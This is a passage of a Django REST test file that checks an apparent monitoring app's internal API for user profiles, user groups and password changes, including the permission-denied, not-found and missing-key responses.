userprofile.groupsofmetricprofiles.filter( name='GROUP-metricprofiles' ).exists() ) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 1) self.assertTrue( userprofile.groupsofthresholdsprofiles.filter( name='GROUP-thresholds' ).exists() ) def test_put_userprofile_nonexisting_group_of_aggr_user(self): data = { 'username': 'username1', 'displayname': 'Username_1', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP3-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP2-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change user profiles.' ) userprofile = poem_models.UserProfile.objects.get( id=self.userprofile.id ) self.assertEqual(userprofile.displayname, 'First_User') self.assertEqual(userprofile.egiid, 'blablabla') self.assertEqual(userprofile.subject, 'bla') self.assertEqual(userprofile.groupsofaggregations.count(), 1) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 1) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 1) self.assertTrue( userprofile.groupsofmetricprofiles.filter( name='GROUP-metricprofiles' ).exists() ) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 1) self.assertTrue( userprofile.groupsofthresholdsprofiles.filter( name='GROUP-thresholds' ).exists() ) def test_put_userprofile_nonexisting_group_of_metrics_superuser(self): data = { 'username': 'username1', 'displayname': 'Username_1', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP3-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP2-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( response.data['detail'], 'Group of metrics does not exist.' ) userprofile = poem_models.UserProfile.objects.get( id=self.userprofile.id ) self.assertEqual(userprofile.displayname, 'First_User') self.assertEqual(userprofile.egiid, 'blablabla') self.assertEqual(userprofile.subject, 'bla') self.assertEqual(userprofile.groupsofaggregations.count(), 1) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 1) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 1) self.assertTrue( userprofile.groupsofmetricprofiles.filter( name='GROUP-metricprofiles' ).exists() ) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 1) self.assertTrue( userprofile.groupsofthresholdsprofiles.filter( name='GROUP-thresholds' ).exists() ) def test_put_userprofile_nonexisting_group_of_metrics_user(self): data = { 'username': 'username1', 'displayname': 'Username_1', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP3-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP2-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change user profiles.' ) userprofile = poem_models.UserProfile.objects.get( id=self.userprofile.id ) self.assertEqual(userprofile.displayname, 'First_User') self.assertEqual(userprofile.egiid, 'blablabla') self.assertEqual(userprofile.subject, 'bla') self.assertEqual(userprofile.groupsofaggregations.count(), 1) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 1) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 1) self.assertTrue( userprofile.groupsofmetricprofiles.filter( name='GROUP-metricprofiles' ).exists() ) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 1) self.assertTrue( userprofile.groupsofthresholdsprofiles.filter( name='GROUP-thresholds' ).exists() ) def test_put_userprofile_nonexisting_group_of_metric_profiles_suprusr(self): data = { 'username': 'username1', 'displayname': 'Username_1', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP2-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP2-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( response.data['detail'], 'Group of metric profiles does not exist.' ) userprofile = poem_models.UserProfile.objects.get( id=self.userprofile.id ) self.assertEqual(userprofile.displayname, 'First_User') self.assertEqual(userprofile.egiid, 'blablabla') self.assertEqual(userprofile.subject, 'bla') self.assertEqual(userprofile.groupsofaggregations.count(), 1) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 1) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 1) self.assertTrue( userprofile.groupsofmetricprofiles.filter( name='GROUP-metricprofiles' ).exists() ) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 1) self.assertTrue( userprofile.groupsofthresholdsprofiles.filter( name='GROUP-thresholds' ).exists() ) def test_put_userprofile_nonexisting_group_of_metric_profiles_user(self): data = { 'username': 'username1', 'displayname': 'Username_1', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP2-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP2-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change user profiles.' ) userprofile = poem_models.UserProfile.objects.get( id=self.userprofile.id ) self.assertEqual(userprofile.displayname, 'First_User') self.assertEqual(userprofile.egiid, 'blablabla') self.assertEqual(userprofile.subject, 'bla') self.assertEqual(userprofile.groupsofaggregations.count(), 1) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 1) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 1) self.assertTrue( userprofile.groupsofmetricprofiles.filter( name='GROUP-metricprofiles' ).exists() ) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 1) self.assertTrue( userprofile.groupsofthresholdsprofiles.filter( name='GROUP-thresholds' ).exists() ) def test_put_userprofile_nonexisting_group_of_thresh_profiles_suprusr(self): data = { 'username': 'username1', 'displayname': 'Username_1', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP3-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( response.data['detail'], 'Group of thresholds profiles does not exist.' ) userprofile = poem_models.UserProfile.objects.get( id=self.userprofile.id ) self.assertEqual(userprofile.displayname, 'First_User') self.assertEqual(userprofile.egiid, 'blablabla') self.assertEqual(userprofile.subject, 'bla') self.assertEqual(userprofile.groupsofaggregations.count(), 1) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 1) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 1) self.assertTrue( userprofile.groupsofmetricprofiles.filter( name='GROUP-metricprofiles' ).exists() ) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 1) self.assertTrue( userprofile.groupsofthresholdsprofiles.filter( name='GROUP-thresholds' ).exists() ) def test_put_userprofile_nonexisting_group_of_thresh_profiles_user(self): data = { 'username': 'username1', 'displayname': 'Username_1', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP3-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change user profiles.' ) userprofile = poem_models.UserProfile.objects.get( id=self.userprofile.id ) self.assertEqual(userprofile.displayname, 'First_User') self.assertEqual(userprofile.egiid, 'blablabla') self.assertEqual(userprofile.subject, 'bla') self.assertEqual(userprofile.groupsofaggregations.count(), 1) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 1) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 1) self.assertTrue( userprofile.groupsofmetricprofiles.filter( name='GROUP-metricprofiles' ).exists() ) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 1) self.assertTrue( userprofile.groupsofthresholdsprofiles.filter( name='GROUP-thresholds' ).exists() ) def test_put_userprofile_missing_data_key_superuser(self): data = { 'username': 'username1', 'displayname': 'Username_1', 'egiid': 'newegiid', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.data['detail'], 'Missing data key: subject') userprofile = poem_models.UserProfile.objects.get( id=self.userprofile.id ) self.assertEqual(userprofile.displayname, 'First_User') self.assertEqual(userprofile.egiid, 'blablabla') self.assertEqual(userprofile.subject, 'bla') self.assertEqual(userprofile.groupsofaggregations.count(), 1) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 1) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 1) self.assertTrue( userprofile.groupsofmetricprofiles.filter( name='GROUP-metricprofiles' ).exists() ) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 1) self.assertTrue( userprofile.groupsofthresholdsprofiles.filter( name='GROUP-thresholds' ).exists() ) def test_put_userprofile_missing_data_key_user(self): data = { 'username': 'username1', 'displayname': 'Username_1', 'egiid': 'newegiid', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change user profiles.' ) userprofile = poem_models.UserProfile.objects.get( id=self.userprofile.id ) self.assertEqual(userprofile.displayname, 'First_User') self.assertEqual(userprofile.egiid, 'blablabla') self.assertEqual(userprofile.subject, 'bla') self.assertEqual(userprofile.groupsofaggregations.count(), 1) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 1) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 1) self.assertTrue( userprofile.groupsofmetricprofiles.filter( name='GROUP-metricprofiles' ).exists() ) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 1) self.assertTrue( userprofile.groupsofthresholdsprofiles.filter( name='GROUP-thresholds' ).exists() ) def test_post_userprofile_superuser(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) user = CustUser.objects.create_user( username='username3', first_name='Second', last_name='User', email='suser@example.com', is_active=True, is_superuser=False ) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'egiid': 'bla', 'groupsofaggregations': ['GROUP-aggregations', 'GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics'], 'groupsofthresholdsprofiles': [], 'groupsofmetricprofiles': [] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(poem_models.UserProfile.objects.all().count(), 2) userprofile = poem_models.UserProfile.objects.get(user=user) self.assertEqual(userprofile.displayname, 'Second_User') self.assertEqual(userprofile.egiid, 'bla') self.assertEqual(userprofile.subject, 'secondsubject') self.assertEqual(userprofile.groupsofaggregations.count(), 2) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP-aggregations' ).exists() ) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP2-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 1) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 0) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 0) def test_post_userprofile_user(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) user = CustUser.objects.create_user( username='username3', first_name='Second', last_name='User', email='suser@example.com', is_active=True, is_superuser=False ) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'egiid': 'bla', 'groupsofaggregations': ['GROUP-aggregations', 'GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics'], 'groupsofthresholdsprofiles': [], 'groupsofmetricprofiles': [] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to add user profiles.' ) self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) self.assertRaises( poem_models.UserProfile.DoesNotExist, poem_models.UserProfile.objects.get, user=user ) def test_post_userprofile_nonexisting_user_superuser(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'egiid': 'bla', 'groupsofaggregations': ['GROUP-aggregations', 'GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics'], 'groupsofthresholdsprofiles': [], 'groupsofmetricprofiles': [] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(response.data['detail'], 'User does not exist.') self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) def test_post_userprofile_nonexisting_user_user(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'egiid': 'bla', 'groupsofaggregations': ['GROUP-aggregations', 'GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics'], 'groupsofthresholdsprofiles': [], 'groupsofmetricprofiles': [] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to add user profiles.' ) self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) def test_post_userprofile_nonexisting_groupofaggr_superuser(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) user = CustUser.objects.create_user( username='username3', first_name='Second', last_name='User', email='suser@example.com', is_active=True, is_superuser=False ) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'egiid': 'bla', 'groupsofaggregations': ['GROUP-aggregations', 'GROUP3-aggregations'], 'groupsofmetrics': ['GROUP-metrics'], 'groupsofthresholdsprofiles': [], 'groupsofmetricprofiles': [] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( response.data['detail'], 'Group of aggregations does not exist.' ) self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) self.assertRaises( poem_models.UserProfile.DoesNotExist, poem_models.UserProfile.objects.get, user=user ) def test_post_userprofile_nonexisting_groupofaggr_user(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) user = CustUser.objects.create_user( username='username3', first_name='Second', last_name='User', email='suser@example.com', is_active=True, is_superuser=False ) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'egiid': 'bla', 'groupsofaggregations': ['GROUP-aggregations', 'GROUP3-aggregations'], 'groupsofmetrics': ['GROUP-metrics'], 'groupsofthresholdsprofiles': [], 'groupsofmetricprofiles': [] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to add user profiles.' ) self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) self.assertRaises( poem_models.UserProfile.DoesNotExist, poem_models.UserProfile.objects.get, user=user ) def test_post_userprofile_nonexisting_groupofmetrics_superuser(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) user = CustUser.objects.create_user( username='username3', first_name='Second', last_name='User', email='suser@example.com', is_active=True, is_superuser=False ) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'egiid': 'bla', 'groupsofaggregations': ['GROUP-aggregations', 'GROUP2-aggregations'], 'groupsofmetrics': ['GROUP3-metrics'], 'groupsofthresholdsprofiles': [], 'groupsofmetricprofiles': [] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( response.data['detail'], 'Group of metrics does not exist.' ) self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) self.assertRaises( poem_models.UserProfile.DoesNotExist, poem_models.UserProfile.objects.get, user=user ) def test_post_userprofile_nonexisting_groupofmetrics_user(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) user = CustUser.objects.create_user( username='username3', first_name='Second', last_name='User', email='suser@example.com', is_active=True, is_superuser=False ) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'egiid': 'bla', 'groupsofaggregations': ['GROUP-aggregations', 'GROUP2-aggregations'], 'groupsofmetrics': ['GROUP2-metrics'], 'groupsofthresholdsprofiles': [], 'groupsofmetricprofiles': [] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to add user profiles.' ) self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) self.assertRaises( poem_models.UserProfile.DoesNotExist, poem_models.UserProfile.objects.get, user=user ) def test_post_userprofile_nonexisting_groupofmetricprofiles_supruser(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) user = CustUser.objects.create_user( username='username3', first_name='Second', last_name='User', email='suser@example.com', is_active=True, is_superuser=False ) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'egiid': 'bla', 'groupsofaggregations': ['GROUP-aggregations', 'GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics'], 'groupsofthresholdsprofiles': [], 'groupsofmetricprofiles': ['GROUP1-metricprofiles'] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( response.data['detail'], 'Group of metric profiles does not exist.' ) self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) self.assertRaises( poem_models.UserProfile.DoesNotExist, poem_models.UserProfile.objects.get, user=user ) def test_post_userprofile_nonexisting_groupofmetricprofiles_user(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) user = CustUser.objects.create_user( username='username3', first_name='Second', last_name='User', email='suser@example.com', is_active=True, is_superuser=False ) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'egiid': 'bla', 'groupsofaggregations': ['GROUP-aggregations', 'GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics'], 'groupsofthresholdsprofiles': [], 'groupsofmetricprofiles': ['GROUP1-metricprofiles'] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to add user profiles.' ) self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) self.assertRaises( poem_models.UserProfile.DoesNotExist, poem_models.UserProfile.objects.get, user=user ) def test_post_userprofile_nonexisting_groupofthreshprofiles_superuser(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) user = CustUser.objects.create_user( username='username3', first_name='Second', last_name='User', email='suser@example.com', is_active=True, is_superuser=False ) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'egiid': 'bla', 'groupsofaggregations': ['GROUP-aggregations', 'GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics'], 'groupsofthresholdsprofiles': ['GROUP3-thresholds'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( response.data['detail'], 'Group of thresholds profiles does not exist.' ) self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) self.assertRaises( poem_models.UserProfile.DoesNotExist, poem_models.UserProfile.objects.get, user=user ) def test_post_userprofile_nonexisting_groupofthreshprofiles_user(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) user = CustUser.objects.create_user( username='username3', first_name='Second', last_name='User', email='suser@example.com', is_active=True, is_superuser=False ) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'egiid': 'bla', 'groupsofaggregations': ['GROUP-aggregations', 'GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics'], 'groupsofthresholdsprofiles': ['GROUP3-thresholds'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to add user profiles.' ) self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) self.assertRaises( poem_models.UserProfile.DoesNotExist, poem_models.UserProfile.objects.get, user=user ) def test_post_userprofile_missing_data_key_superuser(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) user = CustUser.objects.create_user( username='username3', first_name='Second', last_name='User', email='suser@example.com', is_active=True, is_superuser=False ) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'groupsofmetrics': ['GROUP-metrics'], 'groupsofthresholdsprofiles': [], 'groupsofmetricprofiles': [] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.data['detail'], 'Missing data key: egiid') self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) self.assertRaises( poem_models.UserProfile.DoesNotExist, poem_models.UserProfile.objects.get, user=user ) def test_post_userprofile_missing_data_key_user(self): self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) user = CustUser.objects.create_user( username='username3', first_name='Second', last_name='User', email='suser@example.com', is_active=True, is_superuser=False ) data = { 'username': 'username3', 'displayname': 'Second_User', 'subject': 'secondsubject', 'groupsofmetrics': ['GROUP-metrics'], 'groupsofthresholdsprofiles': [], 'groupsofmetricprofiles': [] } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to add user profiles.' ) self.assertEqual(poem_models.UserProfile.objects.all().count(), 1) self.assertRaises( poem_models.UserProfile.DoesNotExist, poem_models.UserProfile.objects.get, user=user ) class ListGroupsForGivenUserAPIViewTests(TenantTestCase): def setUp(self): self.factory = TenantRequestFactory(self.tenant) self.view = views.ListGroupsForGivenUser.as_view() self.url = '/api/v2/internal/usergroups/' self.user = CustUser.objects.create(username='testuser') user1 = CustUser.objects.create_user( username='username1', first_name='First', last_name='User', email='fuser@example.com', is_active=True, is_superuser=False ) gm = poem_models.GroupOfMetrics.objects.create(name='GROUP-metrics') poem_models.GroupOfMetrics.objects.create(name='GROUP2-metrics') ga = poem_models.GroupOfAggregations.objects.create( name='GROUP-aggregations' ) gmp = poem_models.GroupOfMetricProfiles.objects.create( name='GROUP-metricprofiles' ) gtp = poem_models.GroupOfThresholdsProfiles.objects.create( name='GROUP-thresholds' ) poem_models.GroupOfReports.objects.create(name='GROUP1-reports') gr = poem_models.GroupOfReports.objects.create(name='GROUP2-reports') userprofile = poem_models.UserProfile.objects.create( user=user1 ) userprofile.groupsofmetrics.add(gm) userprofile.groupsofaggregations.add(ga) userprofile.groupsofmetricprofiles.add(gmp) userprofile.groupsofthresholdsprofiles.add(gtp) userprofile.groupsofreports.add(gr) def test_get_groups_for_given_user(self): request = self.factory.get(self.url + 'username1') force_authenticate(request, user=self.user) response = self.view(request, 'username1') self.assertEqual( response.data, { 'result': { 'aggregations': ['GROUP-aggregations'], 'metrics': ['GROUP-metrics'], 'metricprofiles': ['GROUP-metricprofiles'], 'reports': ['GROUP2-reports'], 'thresholdsprofiles': ['GROUP-thresholds'] } } ) def test_get_all_groups(self): request = self.factory.get(self.url) force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual( response.data, { 'result': { 'aggregations': ['GROUP-aggregations'], 'metrics': ['GROUP-metrics', 'GROUP2-metrics'], 'metricprofiles': ['GROUP-metricprofiles'], 'reports': ['GROUP1-reports', 'GROUP2-reports'], 'thresholdsprofiles': ['GROUP-thresholds'] } } ) class ChangePasswordTests(TenantTestCase): def setUp(self): self.factory = TenantRequestFactory(self.tenant) self.view = views.ChangePassword.as_view() self.url = '/api/v2/internal/change_password' self.user1 = CustUser.objects.create_user( username='testuser', first_name='Test', last_name='User', email='testuser@example.com', date_joined=datetime.datetime(2015, 1, 1, 0, 0, 0) ) self.user2 = CustUser.objects.create_user( username='anotheruser', first_name='Another', last_name='Test', email='anotheruser@example.com', date_joined=datetime.datetime(2015, 1, 1, 0, 0, 0) ) self.user3 = CustUser.objects.create_user( username='testuser3', first_name='John', last_name='Doe', email='testuser3@example.com', date_joined=datetime.datetime(2015, 1, 1, 0, 0, 0), is_superuser=True ) def test_change_password(self): data = { 'username': 'testuser', 'new_password': 'extra-cool-passwd' } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_201_CREATED) user = CustUser.objects.get(username=self.user1.username) self.assertTrue(user.check_password('extra-cool-passwd')) def test_try_change_password_for_different_user(self): data = { 'username': 'anotheruser', 'new_password': 'extra-cool-passwd' } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change password for another user.' ) def test_try_change_password_for_different_user_superuser(self): data = { 'username': 'anotheruser', 'new_password': 'extra-cool-passwd' } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user3) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change password for another user.' ) def test_change_password_for_nonexisting_user(self): data = { 'username': 'nonexisting', 'new_password': 'extra-cool-passwd' } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change password for another user.' ) def test_change_password_for_nonexisting_user_superuser(self): data = { 'username': 'nonexisting', 'new_password': 'extra-cool-passwd' } content, content_type = encode_data(data) request = 